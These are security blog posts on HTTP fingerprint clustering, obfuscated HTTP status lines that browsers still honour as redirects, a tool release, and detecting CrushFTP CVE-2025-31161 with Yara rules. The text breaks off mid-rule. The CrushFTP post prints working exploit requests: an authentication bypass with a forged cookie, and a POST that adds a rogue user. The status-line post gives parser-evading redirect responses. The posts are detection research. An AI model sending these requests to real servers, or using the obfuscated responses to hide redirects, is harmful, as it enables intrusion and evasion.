<p>To get a sense of what every byte in the <strong>vfp</strong> "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001" accounts for, you may demangle it under the Demangle tab, and you'll get a beautifully dissected structure of every byte, per probe.</p>
<p>To check if the <strong>vfp</strong> "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001" matches any of the Majestic Million HTTP-Basma database for false positive, head to the DB Match tab and search the database; you'll get 73 total matches with only the first 50 displayed (this is configurable in the Match limit box).</p>
<h2><strong>Cluster by structural distance</strong></h2>
<p>This is the most advanced clustering feature employed by HTTP-Basma platform, it is a weighted structural distance. It tries to answer the question, given a set of verbosus fingerprints, which ones are structurally similar and which are different?</p>
<p>The platform provides two granularity options of measuring the distance: at the fields level with weighted leaves or probe level (count of probes that differ at all). The probe granularity is obvious and doesn't merit further elaboration. It is the fields granularity with weighted leaves that requires explanation. This level of clustering is possible thanks to the elegant engineering of the <strong>vfp</strong>, which allows for fine-grained inspection of every byte in the fingerprint.</p>
<p>Every pair of fingerprints has a single number: their <strong>weighted structural distance</strong>. It is computed on the <em>demangled</em> fields (the same per-probe decomposition the Compare tab produces), not on the raw hex, and clustered by a WEIGHTED count of differing fields. So a status-code change can count differently from a reason-phrase change, and "differs in N fields / N probes" is meaningful.</p>
<p>So distance is how many fields differ, each counted by its weight. Identical fingerprints have distance 0; the more fields that differ (and the heavier those fields), the larger the distance.</p>
<p>For exact matching, it uses the graph's <strong>maximal cliques</strong> (via Bron–Kerbosch with pivoting + degeneracy ordering, Eppstein–Löffler–Strash). Every member of a group is mutually that distance from every other member. And, since clique enumeration is NP-hard in the worst case, the max clique degeneracy is limited to 20 with a minimum group size of 2. In case the degeneracy cap is above 20, the distance falls back to the graph's <strong>connected components</strong> (union-find). A component means "linked by a chain of same-distance edges," not "all mutually that distance". This is not an exact match.</p>
<p>Essentially, we are building the graph whose edges join the fingerprint pairs at exactly that distance, then enumerate its groups.</p>
<p>This feature is accessible under the Cluster tab:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/3be2c6d2-ecdc-4b30-b43c-97fe2e8371a7.png" alt="" style="display:block;margin:0 auto" />

<p>You paste in or upload your list of unique <strong>vfps</strong>, configure the granularity, return and response settings, along with the weights &amp; algorithm settings, click on Cluster by distance, and you get all the distances with their groups. The weights account for every attribute checked for in every probe:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/76c59374-6965-44b3-a80a-ad16c6b50124.png" alt="" style="display:block;margin:0 auto" />

<p>Keep in mind that only unique and non-zero <strong>vfps</strong> are checked for.</p>
<p>For example, setting the weights of both the KEEP-ALIVE and CLOSE fields to zero effectively neutralizes them. Consequently, any two fingerprints that differ solely by these fields will yield an identical distance metric and cluster into the same group.</p>
<p>A typical workflow for this clustering type includes the retrieval of all unique <strong>vfps</strong> for some tag(s) using the cluster by tags type, click on <strong>Copy fingerprints</strong> button, to copy only the <strong>vfps</strong> (minus all the other metadata) to the clipboard, and paste the data in the input box under the cluster by structural distance tab, and proceed from there.</p>
<p>For demonstration, let's take the <a href="https://github.com/havocframework/havoc">Havoc</a> tag as an example, and as of July 14, 2026, we have the following clusters:</p>
<table>
<thead>
<tr>
<th>Servers</th>
<th>Verbosus fingerprints</th>
</tr>
</thead>
<tbody><tr>
<td><code>8</code></td>
<td><code>0100000000000000000000000000000000000000000000000000000000000000000000000000</code></td>
</tr>
<tr>
<td><code>2</code></td>
<td><code>01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001</code></td>
</tr>
<tr>
<td><code>2</code></td>
<td><code>01142494d60014514bd522142494d622142494d622142494d6220000142494d622000000001f</code></td>
</tr>
<tr>
<td><code>1</code></td>
<td><code>011423945400142394542214239454221423945422142394542200001423945422000000001f</code></td>
</tr>
<tr>
<td><code>1</code></td>
<td><code>01142494d60914512f3612142494d620142494d620142494d6200800142494d6200000000001</code></td>
</tr>
</tbody></table>
<p>The all zeros fingerprint will be rejected/skipped either way, so, we are left with 4 clusters. Before using the cluster by structural distance type, try the <a href="https://httpbasma.netomize.ca/#compare">Compare</a> functionality to visualize the actual differences between them.</p>
<p>If we set the we granularity, return type, response and the weights as follows:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/2b7d8341-9b6c-47ee-9a79-6da66c807cfe.png" alt="" style="display:block;margin:0 auto" />

<p>We get the following JSON object containing all the distances with all the possible groups:</p>
<pre><code class="language-json">{
    "max_distance": 40.0,
    "distance_groups": [
        {
            "distance": 5.5,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001",
                    "01142494d60014514bd522142494d622142494d622142494d6220000142494d622000000001f"
                ]
            ]
        },
        {
            "distance": 6.0,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001",
                    "01142494d60914512f3612142494d620142494d620142494d6200800142494d6200000000001"
                ]
            ]
        },
        {
            "distance": 9.0,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "011423945400142394542214239454221423945422142394542200001423945422000000001f",
                    "01142494d60014514bd522142494d622142494d622142494d6220000142494d622000000001f"
                ]
            ]
        },
        {
            "distance": 11.5,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "01142494d60014514bd522142494d622142494d622142494d6220000142494d622000000001f",
                    "01142494d60914512f3612142494d620142494d620142494d6200800142494d6200000000001"
                ]
            ]
        },
        {
            "distance": 14.0,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "011423945400142394542214239454221423945422142394542200001423945422000000001f",
                    "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001"
                ]
            ]
        },
        {
            "distance": 20.0,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "011423945400142394542214239454221423945422142394542200001423945422000000001f",
                    "01142494d60914512f3612142494d620142494d620142494d6200800142494d6200000000001"
                ]
            ]
        }
    ]
}
</code></pre>
<p>The question you should ask yourself, these <strong>vfps</strong> are tagged as Havoc <strong>vfps</strong>, but are all of them Havoc <strong>vfps</strong>? To answer this question, we check the distance with respect to the granularity and weights parameters. Anything above a distance of 5.5 requires further validation.</p>
<h1>Conclusion</h1>
<p>In this blog post, we've showcased the clustering capabilities of HTTP-Basma using the clustering by tags type and the advanced structural distance type using the per-probe or weighted fields granularity.</p>
<hr />
<p>Mohamad Mokbel</p>
<p>July 14, 2026</p>
]]></content:encoded></item><item><title><![CDATA[HTTP Status-Line (SL) Shenanigans]]></title><description><![CDATA[While working on HTTP-Basma, I had the idea of trying to construct "weird" (obfuscated looking) yet functional HTTP server response headers, that are still interpreted by the browser as valid server r]]></description><link>https://blog.netomize.ca/http-status-line-sl-shenanigans</link><guid isPermaLink="true">https://blog.netomize.ca/http-status-line-sl-shenanigans</guid><category><![CDATA[http status line]]></category><category><![CDATA[http-response-headers]]></category><category><![CDATA[Google Chrome]]></category><category><![CDATA[microsoft edge]]></category><category><![CDATA[weird]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Tue, 30 Jun 2026 15:35:11 GMT</pubDate><content:encoded><![CDATA[<p>While working on <a href="https://httpbasma.netomize.ca">HTTP-Basma</a>, I had the idea of trying to construct "weird" (obfuscated looking) yet functional HTTP server response headers, that are still interpreted by the browser as valid server responses. I did that in an attempt to break the HTTP response headers parser of the library I used. And to my surprise, it is possible to come up with some very weird-looking functional responses that are correctly interpreted by the browser. For testing, I used Google Chrome (GC) and Microsoft Edge (ME); other browsers might work too.</p>
<p>I'll use the HTTP status code 302 for redirection as the signal to detect whether the browser is redirecting to the intended target/location server or not.</p>
<p>Normal HTTP server response with the 302 redirection status code looks like this:</p>
<p><strong>Normal-Variant</strong></p>
<pre><code class="language-plaintext">HTTP/1.1 302 Found
Location: https://www.google.com
Content-Type: text/html; charset=UTF-8
Content-Length: 0
</code></pre>
<p>Let's take the following weird server responses:</p>
<p><strong>Moon-Variant</strong></p>
<pre><code class="language-plaintext">&amp;^*_hTtppotaetopotato|sdjhfsdhfkjsf*87627834 302
</code></pre>
<p>And,</p>
<p><strong>Mars-Variant</strong></p>
<pre><code class="language-plaintext">&amp;^
htTPzpdfbsnmf|sdjhfsdhfkjsf*87627834 302
Location: http://www.example.com
</code></pre>
<p>As shown, this HTTP status line is not what you'd expect to see from an HTTP server, requesting redirection to the domain "<a href="http://www.example.com">http://www.example.com</a>". Nonetheless, the browsers in question interpret it correctly and redirect to the intended target.</p>
<p>Take this one too:</p>
<p><strong>Jupiter-Variant</strong></p>
<pre><code class="language-plaintext">&amp;^
htTPzpdfbsnmf|sdjhfsdhfkjsf*87627834 302sdkfj.gjvh 7236547hjgjsdgfjsdhgfjh
lOcATioN:http://www.example.com
</code></pre>
<p>And to make it weirder, take this one that encodes the redirect-to location IPv4 address in decimal 1572395042 (93.184.216.34). Additionally, it uses random custom headers just to make it harder to spot the important attributes in the response header section.</p>
<p><strong>Earth-Variant</strong></p>
<pre><code class="language-plaintext">&amp;^
htTPzpdfbsnmf|sdjhfsdhfkjsf*87627834 302sdkfj.gjvh 7236565465489745jgsdfjhgsdfjhdgsjfhgsdjghfdfgsjdhfs
df47hjgjsdgfjsdhgfjh
5465489745jgsdfjhgsdfjhdgsjfhgsdj:jhgsfjhsjhsdgf
KDNFNeC8LqyV0857jkhfkjsf:gsdfjhsfuys78657834
QfOuHdAnxW60uGCV7KsnGu5rIeXUQePE:jhgsfjhsjhsdgf
5465489745jgsdfjhgsdfjhdgsjfhgsdj:jhgsfjhsjhsdgf
JPyquhdzRS91P5Fem25E:HMK42O8iN0wmkRKDNFNeC8LqyV0qCfXU
lOcATioN:htTp:/\1572395042
HMK42O8iN0wmkRKDNFNeC8LqyV0qCfXU:KDNFNeC8Lqy
mcRUwcH:jhgsfjhsjhsdgf
</code></pre>
<p>And this one:</p>
<p><strong>Venus-Variant</strong></p>
<pre><code class="language-plaintext">&amp;^
htTpzpdfbsnmf|sdjhfsdhfkjsf*8762783bnzvxcznbx;cvzbxcvznxbcvzncv 302sdkfj.gjvh{ 7236547hjgjsdgfjsdhgfjh
xnvbxbcvnnc     vnxbvnx}
lOcATioN:htTp:/\1572395042
</code></pre>
<p>The reason why these weird responses work is because the browser parses the HTTP status line according to the following criterion:</p>
<blockquote>
<p>The first 4 chars could be anything including (\r\n), followed by "HTTP" (case insensitive), any char other than SP (space) and line feed characters, SP, &lt;status_code&gt;</p>
</blockquote>
<p>This is parsable using the following regex (nocase):</p>
<p><code>"^.{4}HTTP[^ \n] &lt;status_code&gt;[^ \n] &lt;reason_phrase&gt;\n"</code></p>
<p>If you backtrack and look into every example I provided you'll notice that all of them satisfy this criterion.</p>
<p>The browser might even rewrite the status line with an HTTP version. For example, some versions of Google Chrome would rewrite the Jupiter-Variant into this:</p>
<pre><code class="language-plaintext">HTTP/1.0 302 sdkfj.gjvh 7236547hjgjsdgfjsdhgfjh
lOcATioN:http://www.example.com
</code></pre>
<p>Another tidbits of some versions of Google Chrome include:</p>
<ol>
<li><p>If no status code is defined, then, GC rewrites the SL as HTTP/1.1 200 OK</p>
</li>
<li><p>If no SL is defined (the whole line), then, GC rewrites the SL as HTTP/0.9 200 OK</p>
</li>
</ol>
<p>This was weird!</p>
<hr />
<p>Mohamad Mokbel</p>
<p>June 30, 2026</p>
<p>Last updated: July 1, 2026 - Added a snippet of a normal HTTP 302 redirection server response headers.</p>
]]></content:encoded></item><item><title><![CDATA[HTTP-Basma - Platform Update (v3.0 - Gaudi)]]></title><description><![CDATA[Following the first release of HTTP-Basma on May 20, 2026, on Netomize's official GitHub repository, including the research paper, source code, datasets, and 64-bit release versions for Windows and Li]]></description><link>https://blog.netomize.ca/http-basma-platform-update-v3-0-gaudi</link><guid isPermaLink="true">https://blog.netomize.ca/http-basma-platform-update-v3-0-gaudi</guid><category><![CDATA[fingerprinting]]></category><category><![CDATA[http]]></category><category><![CDATA[https]]></category><category><![CDATA[http requests]]></category><category><![CDATA[httpmethods]]></category><category><![CDATA[http status codes]]></category><category><![CDATA[http-response-headers]]></category><category><![CDATA[scanning]]></category><category><![CDATA[http server]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Wed, 10 Jun 2026 00:53:06 GMT</pubDate><content:encoded><![CDATA[<p>Following the <a href="https://blog.netomize.ca/introducing-http-basma-adaptive-fingerprinting-http-basma-s-multi-stage-probing-for-granular-server-differentiation">first release</a> of <a href="https://github.com/Netomize/HTTP-Basma">HTTP-Basma</a> on May 20, 2026, on <strong>N</strong>etomize's official GitHub repository, including the research paper, source code, datasets, and 64-bit release versions for Windows and Linux, we launched the server edition (<strong>not publicly available</strong>) on our server on June 2nd at <a href="https://httpbasma.netomize.ca/">https://httpbasma.netomize.ca/</a>. The server edition exposes multiple functionalities in <strong>HTTP-Basma</strong>, using dedicated routes as HTTP REST APIs. The first release of the <em>live</em> version was limited to fetching fingerprints with different levels of detail, allowing users to proxy probes via their own HTTP(S)/SOCKS proxy, demangle the fingerprint, compare it to another one, and search the majestic million HTTP-Basma database for matches.</p>
<p>In today's release, we've enhanced the <em>live</em> version with new features designed to assist the broader community in contributing to and maintaining a public database of all fingerprints fetched by any platform user.</p>
<p>The list of new features includes:</p>
<ul>
<li><p>A dedicated and optional (enabled by default) <code>Save to Database</code> section on the Fingerprint tab allows users to save fetched fingerprints in full detail to our server. You can also tag these entries to provide additional context about the submitted domain or server.</p>
<ul>
<li><p>Although tagging is optional, it is highly recommended. When you enable the <code>Save result to database</code> option in the <code>Save to Database</code> section of the Fingerprint tab, the TAGS input field becomes available. Applying tags allows you to easily cluster, categorize, and search through collected domains, for example, by tagging a domain with a specific APT actor name if its affiliation is known. You can query these tags directly within the <code>Search</code> tab.</p>
</li>
<li><p>If you submit a domain/server for fingerprinting with your own tags, and that domain already exists in the database, with the same fingerprint, but different tags, then the existing record's list of tags will be merged with the new ones.</p>
</li>
<li><p>Please tag your submissions, as this will benefit every user of the platform.</p>
</li>
<li><p>This is how this feature looks:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/23a6d569-1dd3-45a0-a779-6315c680bdac.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
</li>
<li><p>A new tab named <code>Recent</code> that displays the most recently fingerprinted servers from the HTTP-Basma database. We provide select columns from the database to display, such as the domain/server name, verbosus and pacto fingerprints, date and time probe P1 was issued, port number, is_ssl Boolean flag, the experimental response header fingerprint for probe P1, and all tags associated with the fingerprinted server/domain.</p>
<ul>
<li>This is one of the most recently submitted domains:</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/f56b382d-5b7a-49fc-8348-560e528c5132.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>A new tab named <code>Search</code>. Search the live HTTP-Basma database by column. Pick what to search for, fill in the query, and run it - the total number of matches is always reported. You can search by the verbosus/pacto fingerprints, list of tags (supports AND/OR operators), P1 response header fingerprint and domain/server, using different matching operators unique per column.</p>
<ul>
<li>The search section looks as follows:</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/fe90ac78-79b1-4903-a609-9b904e7a23e4.png" alt="" style="display:block;margin:0 auto" />

<p>Other updates include:</p>
<ul>
<li><p>The domain input box in the fingerprint tab now accepts Unicode domains and converts them to Punycode. While only the Punycode version is stored in the database, both the Unicode and Punycode versions are displayed side by side.</p>
</li>
<li><p>The <code>Follow Redirects</code> feature was not being configured on the backend server. This issue has been resolved, and now the final redirected URL is fingerprinted. The releases on GitHub remain unaffected by this bug.</p>
</li>
<li><p>Updated FAQ and Privacy pages.</p>
</li>
<li><p>Some adjustments to various UI elements.</p>
</li>
</ul>
<p>Enjoy and use responsibly.</p>
<hr />
<p>Mohamad Mokbel</p>
<p>June 09, 2026</p>
]]></content:encoded></item><item><title><![CDATA[Introducing HTTP-Basma - Adaptive Fingerprinting: HTTP-Basma's Multi-Stage Probing for Granular Server Differentiation]]></title><description><![CDATA[Netomize is happy to announce the release of a new HTTP fingerprinting algorithm called HTTP-Basma to identify HTTP servers using a reversible fingerprint codenamed verbosus.
In the realm of cybersecu]]></description><link>https://blog.netomize.ca/introducing-http-basma-adaptive-fingerprinting-http-basma-s-multi-stage-probing-for-granular-server-differentiation</link><guid isPermaLink="true">https://blog.netomize.ca/introducing-http-basma-adaptive-fingerprinting-http-basma-s-multi-stage-probing-for-granular-server-differentiation</guid><category><![CDATA[http]]></category><category><![CDATA[http requests]]></category><category><![CDATA[httpmethods]]></category><category><![CDATA[http status codes]]></category><category><![CDATA[http-response-headers]]></category><category><![CDATA[fingerprinting]]></category><category><![CDATA[http server]]></category><category><![CDATA[scanning]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Wed, 20 May 2026 15:57:13 GMT</pubDate><content:encoded><![CDATA[<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/00c8b8ef-deb7-4cd7-8209-9013642ae961.png" alt="" style="display:block;margin:0 auto" />

<p><strong>N</strong>etomize is happy to announce the release of a new HTTP fingerprinting algorithm called <strong>HTTP-Basma</strong> to identify HTTP servers using a reversible fingerprint codenamed verbosus.</p>
<p>In the realm of cybersecurity, accurately identifying and characterizing web servers is crucial for threat detection, vulnerability assessment, and network mapping. We introduce HTTP-Basma, a novel active fingerprinting algorithm that unveils unique server profiles through a multi-layered approach.</p>
<p>Key Features: Crafted Requests, Revealing Responses: HTTP-Basma sends 8 meticulously designed HTTP probes, eliciting distinctive responses that reflect server configurations. Moreover, it offers dual hashing for versatility. The algorithm generates two hashes:</p>
<ul>
<li><p>A 38-byte fuzzy hash, "verbosus", offering reversibility</p>
</li>
<li><p>A 16-byte one-way hash, "pacto", derived from verbosus, enhancing privacy and security</p>
</li>
</ul>
<p>Clustering and Hunting: These hashes empower server clustering, identification of unique and similar servers, and the pursuit of malicious actors with heightened confidence.</p>
<p>Modular Design for Expansion: The algorithm's architecture fosters the addition of new hashing variants, encouraging collaboration and adaptability.</p>
<p>The full technical details of the algorithm are in the <a href="https://github.com/Netomize/HTTP-Basma/blob/main/http-basma_paper_mfmokbel_v1.pdf">paper</a>, where we first survey notable existing work on HTTP fingerprinting and then explore the algorithm's functionality, design, architecture, and outcomes. Additionally, we will showcase compelling findings from scanning the top 1 million Majestic websites, including the identification and clustering of C&amp;C HTTP servers for various malware families.</p>
<p>The source code, Windows and Linux binary releases, and supporting data are available on GitHub <a href="https://github.com/Netomize/HTTP-Basma">HTTP-Basma</a>. We are working on an HTTP server edition.</p>
<p>Links:</p>
<ul>
<li><p>GitHub repo <a href="https://github.com/Netomize/HTTP-Basma">HTTP-Basma</a> with details</p>
</li>
<li><p>Paper <a href="https://github.com/Netomize/HTTP-Basma/blob/main/http-basma_paper_mfmokbel_v1.pdf">HTTP-Basma - Adaptive Fingerprinting: HTTP-Basma's Multi-Stage Probing for Granular Server Differentiation</a></p>
</li>
<li><p><a href="https://github.com/Netomize/HTTP-Basma/tree/main/src">Source code</a></p>
</li>
<li><p><a href="https://majestic.com/reports/majestic-million">Top 1 million Majestic websites</a></p>
</li>
<li><p>Supporting data - <a href="https://github.com/Netomize/HTTP-Basma/releases/download/v1.0/majestic_1_million_http_basma_fingerprints_csv.zip">majestic 1-million HTTP-Basma fingerprints CSV File - data set</a></p>
</li>
<li><p><a href="https://github.com/Netomize/HTTP-Basma/releases">Release</a> (Windows and Linux x64-bit release)</p>
</li>
</ul>
<hr />
<p>Mohamad Mokbel</p>
<p>May 20, 2026</p>
]]></content:encoded></item><item><title><![CDATA[Detecting Exploitation of CrushFTP Vulnerability (CVE-2025-31161) With PacketSmith Yara Detection Module - Using track_state and flow_state]]></title><description><![CDATA[Introduction
This vulnerability was found by Outpost24 under the identifier CVE-2025-31161 (previously reported as CVE-2025-2825). Outpost24 and other vendors and security researchers have shared enou]]></description><link>https://blog.netomize.ca/detecting-exploitation-of-crushftp-vulnerability-cve-2025-31161-with-packetsmith-yara-detection-module-using-track-state-and-flow-state</link><guid isPermaLink="true">https://blog.netomize.ca/detecting-exploitation-of-crushftp-vulnerability-cve-2025-31161-with-packetsmith-yara-detection-module-using-track-state-and-flow-state</guid><category><![CDATA[packetsmith]]></category><category><![CDATA[PCAP]]></category><category><![CDATA[CVE-2025-31161]]></category><category><![CDATA[yara-x]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[detection engineering ]]></category><category><![CDATA[network traffic]]></category><category><![CDATA[CrushFTP]]></category><category><![CDATA[CrushFTP, CVE-2025-54309, RCE, Zero-Day, File-Transfer, Security, Infosec, Vulnerability]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Thu, 14 May 2026 10:46:41 GMT</pubDate><content:encoded><![CDATA[<h1>Introduction</h1>
<p>This vulnerability was found by <a href="https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/">Outpost24</a> under the identifier CVE-2025-31161 (previously reported as CVE-2025-2825). Outpost24 and other vendors and security researchers have shared enough technical details about the root cause of the vulnerability and how to exploit it. Public PoCs are already available on GitHub, for example, the <a href="https://github.com/Immersive-Labs-Sec/CVE-2025-31161">CVE-2025-31161 PoC</a>.</p>
<p>The vulnerability was exploited in the wild by different threat actors, as reported by the <a href="https://www.huntress.com/blog/crushftp-cve-2025-31161-auth-bypass-and-post-exploitation">Huntress team</a>.</p>
<p><strong>N</strong>etomize is taking this as a case study to demonstrate the new <strong>track_state</strong> and <strong>flow_state</strong> keywords we introduced in versions 5.3.0 and 5.4.0, in the Yara detection module, for chaining multiple rules across different packets and the same TCP/UDP flows in the pcap, respectively.</p>
<p>The PacketSmith Yara-X detection module introduced new (reserved) keywords to the meta section of the Yara-X rule called <em><strong>track_state</strong></em> and <em><strong>flow_state</strong></em> with their own syntax and grammar, to track/chain multiple rules at the same time across different packets/streams, or flows, respectively. They are used for cross-correlating different rules across different packets and streams or flows (depending on the filter type used) at runtime. This feature was inspired by the concept of <a href="https://docs.snort.org/rules/options/non_payload/flowbits">flowbits</a> in Snort/Suricata, with different implementation details.</p>
<h1>Vulnerability Details</h1>
<p>The vulnerability CVE-2025-31161 is an authentication-bypass vulnerability that can be exploited by constructing a specially crafted GET request containing a known username (no password is required). The username "<em>crushadmin</em>" is used as the default during setup.</p>
<p>I've made the pcap available for download via Netomize's official repo (RFiles), <a href="https://github.com/Netomize/RFiles/blob/main/cve_2025_31161/crushftp_cve_2025_31161_auth_bypass_rce_traffic.pcap">CrushFTP (CVE-2025-31161) packet capture</a> (26,075 bytes).</p>
<p>To exploit the vulnerability, a request similar to the following is sent to the vulnerable CrushFTP server (in this case, it was sent against the vulnerable version <code>11.2.1 Build: 22</code>):</p>
<pre><code class="language-plaintext">GET /WebInterface/function/ HTTP/1.1
Host: 192.168.60.129:9090
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
</code></pre>
<p><strong>Figure-1:</strong> CrushFTP Authentication Bypass Request (GET)</p>
<p>The request shown above is just for authentication bypass and forcing the server to authenticate the forged session Cookie. The <code>Authorization</code> header authentication method is AWS4-HMAC-SHA256 (a required primitive), and the Credential is set to the username "<em>crushadmin</em>" (not containing a tilda), followed by <code>/</code>. Refer to references 2 and 3 for more info. Of course, you may leak some information from the server in the GET request, depending on the requested command type.</p>
<p>After authenticating the session Cookie with the authentication bypass vulnerability, we may proceed to perform elevated privileges on the CrushFTP server using the same Cookie. For example, we could send a POST request similar to the following to create/add a new user:</p>
<pre><code class="language-plaintext">POST /WebInterface/function/ HTTP/1.1
Host: 192.168.60.129:9090
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Content-Length: 1084
Content-Type: application/x-www-form-urlencoded

command=setUserItem&amp;data_action=replace&amp;serverGroup=MainUsers&amp;username=rogueuser&amp;user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cuser_name%3Erogueuser%3C%2Fuser_name%3E%3Cpassword%3Eroguepass%3C%2Fpassword%3E%3Cextra_vfs+type%3D%22vector%22%3E%3C%2Fextra_vfs%3E%3Cversion%3E1.0%3C%2Fversion%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3CuserVersion%3E6%3C%2FuserVersion%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Csite%3E%28SITE_PASS%29%28SITE_DOT%29%28SITE_EMAILPASSWORD%29%28CONNECT%29%3C%2Fsite%3E%3Ccreated_by_username%3Ecrushadmin%3C%2Fcreated_by_username%3E%3Ccreated_by_email%3E%3C%2Fcreated_by_email%3E%3Ccreated_time%3E1744120753370%3C%2Fcreated_time%3E%3Cpassword_history%3E%3C%2Fpassword_history%3E%3C%2Fuser%3E&amp;xmlItem=user&amp;vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22vector%22%3E%3C%2Fvfs%3E&amp;permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3CVFS+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E%28read%29%28view%29%28resume%29%3C%2Fitem%3E%3C%2FVFS%3E&amp;c2f=31If
</code></pre>
<p><strong>Figure-2:</strong> CrushFTP Remote Command Execution Request (POST)</p>
<p>And, in case the above request was successfully processed by the CrushFTP HTTP Server, the server responds with the <code>&lt;response_status&gt;</code> XML element set to <code>OK</code> in the <code>&lt;result&gt;</code> root element:</p>
<pre><code class="language-plaintext">HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Tue, 12 May 2026 17:28:57 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 163

&lt;?xml version="1.0" encoding="UTF-8"?&gt; 
&lt;result&gt;&lt;response_status&gt;OK&lt;/response_status&gt;&lt;response_type&gt;text&lt;/response_type&gt;&lt;response_data&gt;&lt;/response_data&gt;&lt;/result&gt;
</code></pre>
<p><strong>Figure-3:</strong> CrushFTP Server Response - Command Execution Status</p>
<h1>Detection Engineering</h1>
<p>At <strong>N</strong>etomize, we strive to write generic detection logic to capture known and unknown variants of potentially valid exploitation and malicious traffic, and this case is no different.</p>
<p>To detect the authentication bypass request, as shown in Figure 1, a PacketSmith Yara detection rule could be written as follows:</p>
<pre><code class="language-python">rule crushftp_auth_bypass_vulnerability_get_req_cve_2025_31161
{
    meta:
	
      description = "Detect authentication bypass request in CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  track_state = "set,crushftp_auth_bypass,noalert"

	strings:
	
		$uri               = "GET /WebInterface/function/"
		
		$cookie_curr_auth  = /\nCookie:[^\r\n]{0,256}currentAuth=\w{4}[;\r\n]/i
		$cookie_crush_auth = /\nCookie:[^\r\n]{0,256}CrushAuth=\w{31}/i
		$authorization     = /\nAuthorization:[^\r\n]{0,12}AWS4-HMAC-SHA256 [^\r\n=\/]{1,64}=[^~\r\n\/]{1,255}\//i
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size &gt; 156
	  and 
	  flow.to_server
	  and
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$uri at buf_off
			and
			$cookie_curr_auth  in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$cookie_crush_auth in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$authorization     in (buf_off + 36..buf_off + 36 + buf_sz)
	  	)
}
</code></pre>
<p><strong>Rule-1</strong>: GET Request (Figure 1)</p>
<p>We verify the <code>currentAuth</code> and <code>CrushAuth</code> cookie keys to ensure they contain alphanumeric values of valid lengths, in any order. To exploit the vulnerability, the Authorization header must be of the <code>AWS4-HMAC-SHA256</code> type, followed by the <code>=</code> character and the known username, ensuring it doesn't include a <code>~</code> character and is followed by a <code>/</code>. Our tests indicate that the key before the <code>=</code> can be anything, and any characters may follow the <code>/</code>.</p>
<p>Notice in the <strong>meta</strong> section, we use the reserved keyword <strong>track_state</strong>, introduced in version 5.3.0, to chain multiple rules across different packets in the pcap. For this request, we are <code>set</code>ting the state "<em>crushftp_auth_bypass</em>" to <code>noalert</code>.</p>
<p>To detect the POST request in Figure 2, we could write a rule similar to the following:</p>
<pre><code class="language-python">rule crushftp_rce_vulnerability_post_req_cve_2025_31161
{
    meta:
	
      description = "Detect rce POST request in CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  track_state = "isset,crushftp_auth_bypass,alert"
	  flow_state  = "set,crushftp_post_forged_cookie,noalert"

	strings:
	
		$uri               = "POST /WebInterface/function/"
		
		$cookie_curr_auth  = /\nCookie:[^\r\n]{0,192}currentAuth=\w{4}[;\r\n]/i
		$cookie_crush_auth = /\nCookie:[^\r\n]{0,192}CrushAuth=\w{31}/i
